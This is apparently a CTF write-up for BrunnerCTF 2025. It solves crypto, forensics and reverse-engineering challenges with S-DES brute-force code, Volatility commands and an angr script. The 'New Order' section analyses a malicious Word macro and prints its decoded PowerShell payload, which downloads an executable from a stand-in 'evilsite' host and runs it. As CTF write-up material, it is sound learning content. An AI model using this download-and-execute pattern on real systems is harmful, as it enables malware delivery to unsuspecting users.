BrunnerCTF 2025 Writeup

BrunnerCTF 2025 Writeup

August 24, 2025

Crypto

The Complicated Recipe

I am not very good with numbers, but when it comes to baking, there is no limit. However, I found this recipe, but I cannot read it. One of my colleagues (Master Baker Feistel) told me this was one of his, but he would not help me decipher it. He just laughed and said, “DES is not for you to bake.” I think he is foreign.

D1D74C5F5FDDD7ECD8B29ED8019DD801B7F2AB0128573FB2019D1C018FF2E001E7B7F2870128F28701ABF20112E0D8AB015957E79EA2

What I saw: a long hex string and very pointed hints: “Feistel”, “DES”, “trois DES”, “S-DES”.

What I inferred: this is S-DES (the academic/teaching cipher), not “super DES”. S-DES works on 8-bit blocks with a 10-bit key.

Plan

  • No IV/mode given → assume ECB over single bytes.
  • 10-bit key ⇒ 1024 possibilities → brute force is trivial.

Solve

I implemented textbook S-DES (initial/final permutations, E/P, the two S-boxes, the tiny key schedule). Then:

  • Converted the hex ciphertext to bytes.
  • Tried every key from 0..1023.
  • Decrypted the whole stream for each key.
  • Kept candidates that looked like readable ASCII.

Only one candidate was clean.

IP=[2,6,3,1,4,8,5,7]; IP_INV=[4,1,3,5,7,2,8,6]
EP=[4,1,2,3,2,3,4,1]; P10=[3,5,2,7,4,10,1,9,8,6]
P8=[6,3,7,4,8,5,10,9]; P4=[2,4,3,1]
S0=[[1,0,3,2],[3,2,1,0],[0,2,1,3],[3,1,3,2]]
S1=[[0,1,2,3],[2,0,1,3],[3,0,1,0],[2,1,0,3]]

def perm(b,t): return [b[i-1] for i in t]
def lshift(b,n): return b[n:]+b[:n]
def b2i(b):
    v=0
    for x in b: v=(v<<1)|x
    return v
def i2b(x,n): return [(x>>(n-1-i))&1 for i in range(n)]
def sbox(x,box):
    r=(x[0]<<1)|x[3]; c=(x[1]<<1)|x[2]
    return i2b(box[r][c],2)
def keys(k10):
    p10=perm(k10,P10); L,R=p10[:5],p10[5:]
    L1,R1=lshift(L,1),lshift(R,1); K1=perm(L1+R1,P8)
    L2,R2=lshift(L1,2),lshift(R1,2); K2=perm(L2+R2,P8)
    return K1,K2
def fk(x,sk):
    L,R=x[:4],x[4:]; t=perm(R,EP)
    t=[a^b for a,b in zip(t,sk)]
    u=sbox(t[:4],S0)+sbox(t[4:],S1)
    p4=perm(u,P4)
    return [a^b for a,b in zip(L,p4)] + R
def dec_byte(b,K1,K2):
    x=perm(i2b(b,8),IP)
    x=fk(x,K2); x=x[4:]+x[:4]
    x=fk(x,K1)
    return b2i(perm(x,IP_INV))

ct = bytes.fromhex("D1D74C5F5FDDD7ECD8B29ED8019DD801B7F2AB0128573FB2019D1C018FF2E001E7B7F2870128F28701ABF20112E0D8AB015957E79EA2")

for k in range(1024):
    K1,K2=keys(i2b(k,10))
    pt = bytes(dec_byte(b,K1,K2) for b in ct)
    if all(32<=c<127 or c in (9,10,13) for c in pt):
        print("key:", k)
        print(pt.decode())
        break

Result

  • Key (decimal): 914
  • Flag: brunner{5D35_15_N0T_H4RD_1F_Y0U_KN0W_H0W_T0_JU5T_B4K3}

Peppernuts

New to baking? Then start small! And it doesn’t get much smaller than the traditional Danish Christmas cookie: The peppernut. I know what you’re thinking: Pepper? In a cookie?! Do they actually do that?!? Yes, yes we do - but just a small bit.

import csv
from argon2.low_level import hash_secret_raw, Type
from cryptography.hazmat.primitives.kdf.hkdf import HKDF
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.ciphers.aead import AESGCM

pw = "abcake"
row = next(r for r in csv.DictReader(open("peppernut_recipes.csv")) if r["username"]=="Brunner")
argon = hash_secret_raw(
    secret=pw.encode(),
    salt=bytes.fromhex(row["hash_salt"]),
    time_cost=5, memory_cost=262144, parallelism=4, hash_len=64, type=Type.ID
)
key = HKDF(algorithm=hashes.SHA256(), length=32, salt=bytes.fromhex(row["key_salt"]),
           info=b"user-data-encryption").derive(argon)
pt = AESGCM(key).decrypt(bytes.fromhex(row["nonce"]), bytes.fromhex(row["encrypted_recipe"]), None)
print(pt.decode())

Forensics

Memory Loss

I had just finished baking a brunsviger when I suddenly remembered something important… but now I simply can’t recall what it was! I’m pretty sure I took a picture of it, but where did I put it?

First, confirm basic image info and process context:

vol -f memoryloss.dmp windows.info.Info

Process listing shows ScreenClipping and ScreenSketch, which strongly suggests a recent screenshot.

Digging for images:

vol -f memoryloss.dmp windows.filescan | grep -iE "\.jpg$|\.jpeg$|\.png$|\.gif$|\.bmp$"

I dumped each candidate by its file object address and found the flag in one of the screenshots.

  • Flag: brunner{Oh_my_84d_17_w45_ju57_1n_my_m3m0ry}

New Order

We’re given a malicious .docm file.

olevba -c 'Order #1841.docm' > code.vba

I statically dumped the VBA and wrote a decode-only Python parser that evaluates the math inside each Array(...), XORs the pairs, and reconstructs the final payload.

The macro fetches from a URL with iwr and immediately executes with iex.

After multiple layers of Base64 decoding, the final payload reveals:

if ($env:COMPUTERNAME -eq "DESKTOP-7XJ9ABC") {
    $url    = "https://evilsite.brunner/updatewindows.exe"
    $output = "$env:TEMP\updatewindows.exe"
    Invoke-WebRequest -Uri $url -OutFile $output
    Start-Process $output "brunner{vbs_1s_th3_g1ft_th4t_k33ps_g1v1ng}"
}

Flag: brunner{vbs_1s_th3_g1ft_th4t_k33ps_g1v1ng}

The Cinnamon Packet

The SecOps team noticed odd traffic. Packets pulsed with a weird rhythm — like something alive. Turned out an AI was hitching a ride by hiding in TCP header fields.

Approach (header-only, no payload decoding)

  1. Traffic shape: 568 packets, all TCP SYN to port 80
  2. Focus leg: On 10.0.0.2 → 10.0.0.3, the TCP reserved bits are non-zero
  3. Covert channel: Treat those reserved bits as symbols

Mapping (2 bits per packet)

0x0002 → 00
0x0202 → 01
0x0402 → 10
0x0602 → 11

Concatenate the 2-bit symbols in capture order, group into bytes, decode as ASCII.

Result: brunner{cinnamon_rolls_are_the_best}

Reverse Engineering

Bake and Forth

The challenge provides a 64-bit LSB ELF executable. It is statically linked and not stripped. The binary uses self-modifying code with a “rolling” XOR decryption mechanism.

Because the code is heavily obfuscated but deterministic, symbolic execution is ideal. We use angr with the support_selfmodifying_code=True flag.

import angr
import logging
logging.getLogger('angr').setLevel('INFO')

proj = angr.Project("./bake_and_forth", support_selfmodifying_code=True)
state = proj.factory.entry_state()
simgr = proj.factory.simulation_manager(state)

print("[*] Shoveling coal into the engine... symbolic execution in progress.")
simgr.explore(find=lambda s: b"CORRECT!" in s.posix.dumps(1))

if simgr.found:
    solution_state = simgr.found[0]
    flag = solution_state.posix.dumps(0)
    print(f"\n[+] Flag found: {flag.decode('latin-1', errors='ignore')}")
else:
    print("\n[-] Could not find a path to 'CORRECT!'.")

Flag: brunner{th3_t3mp3r4tur3_15_r1s1ng_c4us3_w3'r3_hot_h0t_h07_H07_HOT}

Conclusion

The challenges in BrunnerCTF 2025 were as diverse as they were instructive. It was a fun CTF with challenges ranging from easy to medium.